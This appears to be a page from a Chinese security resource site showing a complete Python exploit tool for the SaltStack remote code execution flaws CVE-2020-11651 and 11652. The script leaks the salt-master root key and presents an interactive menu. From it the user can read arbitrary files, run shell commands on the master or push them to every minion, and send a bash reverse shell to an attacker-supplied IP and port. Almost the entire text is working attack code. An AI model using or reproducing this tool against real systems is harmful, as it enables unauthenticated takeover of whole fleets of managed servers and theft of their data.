menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right Saltstack 远程命令执行 CVE-2020-11651 11652 chevron_right Saltstack 远程命令执行 CVE-2020-11651 11652-1.py
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Saltstack 远程命令执行 CVE-2020-11651 11652-1.py
    6.06 KB / 2021-07-04 06:01:08
        # BASE https://github.com/bravery9/SaltStack-Exp
    # 微信公众号:台下言书
    # -*- coding:utf-8 -*- -
    from __future__ import absolute_import, print_function, unicode_literals
    import argparse
    import os
    import sys
    import datetime
    
    import salt
    import salt.version
    import salt.transport.client
    import salt.exceptions
    
    DEBUG = False
    
    
    def init_minion(master_ip, master_port):
        minion_config = {
            'transport': 'zeromq',
            'pki_dir': '/tmp',
            'id': 'root',
            'log_level': 'debug',
            'master_ip': master_ip,
            'master_port': master_port,
            'auth_timeout': 5,
            'auth_tries': 1,
            'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
        }
    
        return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
    
    
    def check_salt_version():
        print("[+] Salt 版本: {}".format(salt.version.__version__))
    
        vi = salt.version.__version_info__
    
        if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
            return True
        else:
            return False
    
    
    def check_connection(master_ip, master_port, channel):
        print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
        sys.stdout.flush()
        try:
            channel.send({'cmd': 'ping'}, timeout=2)
            print('\033[1;32m可以连接\033[0m')
        except salt.exceptions.SaltReqTimeoutError:
            print("\033[1;31m无法连接\033[0m")
            sys.exit(1)
    
    
    def check_CVE_2020_11651(channel):
        sys.stdout.flush()
        # try to evil
        try:
            rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
        except salt.exceptions.SaltReqTimeoutError:
            print("\033[1;32m不存在漏洞\033[0m")
        except:
            print("\033[1;32m未知错误\033[0m")
            raise
        else:
            pass
        finally:
            if rets:
                root_key = rets[2]['root']
                print("\033[1;31m存在漏洞\033[0m")
                return root_key
    
        return None
    
    
    def pwn_read_file(channel, root_key, path, master_ip):
        # print("[+] Attemping to read {} from {}".format(path, master_ip))
        sys.stdout.flush()
    
        msg = {
            'key': root_key,
            'cmd': 'wheel',
            'fun': 'file_roots.read',
            'path': path,
            'saltenv': 'base',
        }
    
        rets = channel.send(msg, timeout=3)
        print(rets['data']['return'][0][path])
    
    
    
    def pwn_getshell(channel, root_key, LHOST, LPORT):
        msg = {"key": root_key,
               "cmd": "runner",
               'fun': 'salt.cmd',
               "kwarg": {
                   "fun": "cmd.exec_code",
                   "lang": "python3",
                   "code": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{}\",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);".format(
                       LHOST, LPORT)
               },
               'jid': '20200504042611133934',
               'user': 'sudo_user',
               '_stamp': '2020-05-04T04:26:13.609688'}
    
        try:
            response = channel.send(msg, timeout=3)
            print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
            return True
        except:
            print("something failed")
            return False
    
    
    def pwn_exec(channel, root_key, exec_cmd, master_or_minions):
        if master_or_minions == "master":
            msg = {"key": root_key,
                   "cmd": "runner",
                   'fun': 'salt.cmd',
                   "kwarg": {
                       "fun": "cmd.exec_code",
                       "lang": "python3",
                       "code": "import subprocess;subprocess.call('{}',shell=True)".format(exec_cmd)
                   },
                   'jid': '20200504042611133934',
                   'user': 'sudo_user',
                   '_stamp': '2020-05-04T04:26:13.609688'}
    
            try:
                response = channel.send(msg, timeout=3)
                print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
                return True
            except:
                print("something failed")
                return False
    
        if master_or_minions == "minions":
            print("Sending command to all minions on master")
            jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())
            cmd = "/bin/sh -c '{0}'".format(exec_cmd)
    
            msg = {'cmd': "_send_pub", "fun": "cmd.run", "arg": [cmd], "tgt": "*", "ret": "", "tgt_type": "glob",
                   "user": "root", "jid": jid}
    
            try:
                response = channel.send(msg, timeout=3)
                if response == None:
                    return True
                else:
                    return False
            except:
                return False
    
    
    #####################################
    
    master_ip=input('目标IP:')
    master_port='4506'
    channel = init_minion(master_ip, master_port)
    try:
        root_key = check_CVE_2020_11651(channel)
    except:
        pass
    while master_ip!='':
        print('1.测试POC  2.读取文件  3.执行命令(无回显)  4.反弹shell  5.退出')
    
        whattype=input('请选择:')
        if whattype=='1':
            check_salt_version()  # 检查salt版本
            check_connection(master_ip, master_port, channel)  # 检查连接
            root_key = check_CVE_2020_11651(channel)  # 读取root key
            print(root_key)
        elif whattype=='2':
            path = input('读取路径:')
            try:
                pwn_read_file(channel, root_key, path, master_ip)  # 读取文件
            except:
                print('文件不存在')
        elif whattype=='3':
            print('1.master   2.minions')
            exectype = input('选择方式:')
            if exectype=='1':
                master_or_minions='master'
            elif exectype=='2':
                master_or_minions = 'minions'
            exec_cmd = input('输入命令:')
            pwn_exec(channel, root_key, exec_cmd, master_or_minions)  # 执行命令
        elif whattype=='4':
            LHOST = input('反弹到IP:')
            LPORT = input('反弹端口:')
            pwn_getshell(channel, root_key, LHOST, LPORT)  # 反弹shell
        elif whattype=='5':
            exit()
    
    links
    file_download